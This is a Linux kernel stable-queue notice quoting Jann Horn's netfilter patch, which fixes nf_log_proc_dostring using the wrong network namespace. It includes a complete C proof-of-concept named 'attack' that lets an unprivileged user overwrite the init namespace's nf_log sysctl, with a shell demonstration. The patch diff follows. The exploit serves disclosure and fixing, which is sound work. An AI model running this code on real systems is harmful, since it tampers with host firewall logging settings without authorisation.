Patch "netfilter: fix namespace handling in nf_log_proc_dostring" has been added to the 4.8-stable tree
Subsystems (3)
This is a note to let you know that I've just added the patch titled
netfilter: fix namespace handling in nf_log_proc_dostring
to the 4.8-stable tree which can be found at:
http://www.kernel.org/git/?p=linux/kernel/git/stable/stable-queue.git;a=summary
The filename of the patch is:
netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch
and it can be found in the queue-4.8 subdirectory.
If you, or anyone else, feels it should not be added to the stable tree, please let <[email protected]> know about it.
Quoted 1 line
From
dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0Mon Sep 17 00:00:00 2001
From: Jann Horn <[email protected]>
Date: Sun, 18 Sep 2016 21:40:55 +0200
Subject: netfilter: fix namespace handling in nf_log_proc_dostring
From: Jann Horn <[email protected]>
commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
nf_log_proc_dostring() used current's network namespace instead of the one corresponding to the sysctl file the write was performed on. Because the permission check happens at open time and the nf_log files in namespaces are accessible for the namespace owner, this can be abused by an unprivileged user to effectively write to the init namespace's nf_log sysctls.
Stash the "struct net *" in extra2 - data and extra1 are already used.
Repro code:
#define _GNU_SOURCE
#include <stdlib.h>
#include <sched.h>
#include <err.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
char child_stack[1000000];
uid_t outer_uid;gid_t outer_gid;
int stolen_fd = -1;
void writefile(char *path, char *buf) {
int fd = open(path, O_WRONLY);
if (fd == -1)
err(1, "unable to open thing");
if (write(fd, buf, strlen(buf)) != strlen(buf))
err(1, "unable to write thing");
close(fd);
}int child_fn(void *p_) {
if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
NULL))
err(1, "mount");
/* Yes, we need to set the maps for the net sysctls to recognize us
* as namespace root.
*/
char buf[1000];
sprintf(buf, "0 %d 1\n", (int)outer_uid);
writefile("/proc/1/uid_map", buf);
writefile("/proc/1/setgroups", "deny");
sprintf(buf, "0 %d 1\n", (int)outer_gid);
writefile("/proc/1/gid_map", buf);
stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
if (stolen_fd == -1)
err(1, "open nf_log");
return 0;
}int main(void) {
outer_uid = getuid();
outer_gid = getgid();
int child = clone(child_fn, child_stack + sizeof(child_stack),
CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
|CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
if (child == -1)
err(1, "clone");
int status;
if (wait(&status) != child)
err(1, "wait");
if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
errx(1, "child exit status bad");
char *data = "NONE";
if (write(stolen_fd, data, strlen(data)) != strlen(data))
err(1, "write");
return 0;
}Repro:
$ gcc -Wall -o attack attack.c -std=gnu99 $ cat /proc/sys/net/netfilter/nf_log/2 nf_log_ipv4 $ ./attack $ cat /proc/sys/net/netfilter/nf_log/2 NONE
Because this looks like an issue with very low severity, I'm sending it to the public list directly.
--- net/netfilter/nf_log.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
net/netfilter/nf_log.c +4 -2
@@ -420,7 +420,7 @@ static int nf_log_proc_dostring(struct cchar buf[NFLOGGER_NAME_LEN ];int r =0 ;int tindex = (unsigned long )table->extra1; -struct net *net = current->nsproxy->net_ns; +struct net *net = table->extra2;if (write) {struct ctl_table tmp = *table;
@@ -474,7 +474,6 @@ static int netfilter_log_sysctl_init(str 3, "%d", i); nf_log_sysctl_table[i].procname = nf_log_sysctl_fnames[i]; - nf_log_sysctl_table[i].data =NULL ; nf_log_sysctl_table[i].maxlen =NFLOGGER_NAME_LEN ; nf_log_sysctl_table[i].mode =0644 ; nf_log_sysctl_table[i].proc_handler =
@@ -484,6 +483,9 @@ static int netfilter_log_sysctl_init(str } } +for (i =NFPROTO_UNSPEC ; i <NFPROTO_NUMPROTO ; i++) + table[i].extra2 = net; + net->nf.nf_log_dir_header =register_net_sysctl (net,"net/netfilter/nf_log" , table);
Patches currently in stable-queue which might be from [email protected] are
queue-4.8/swapfile-fix-memory-corruption-via-malformed-swapfile.patch queue-4.8/netfilter-fix-namespace-handling-in-nf_log_proc_dostring.patch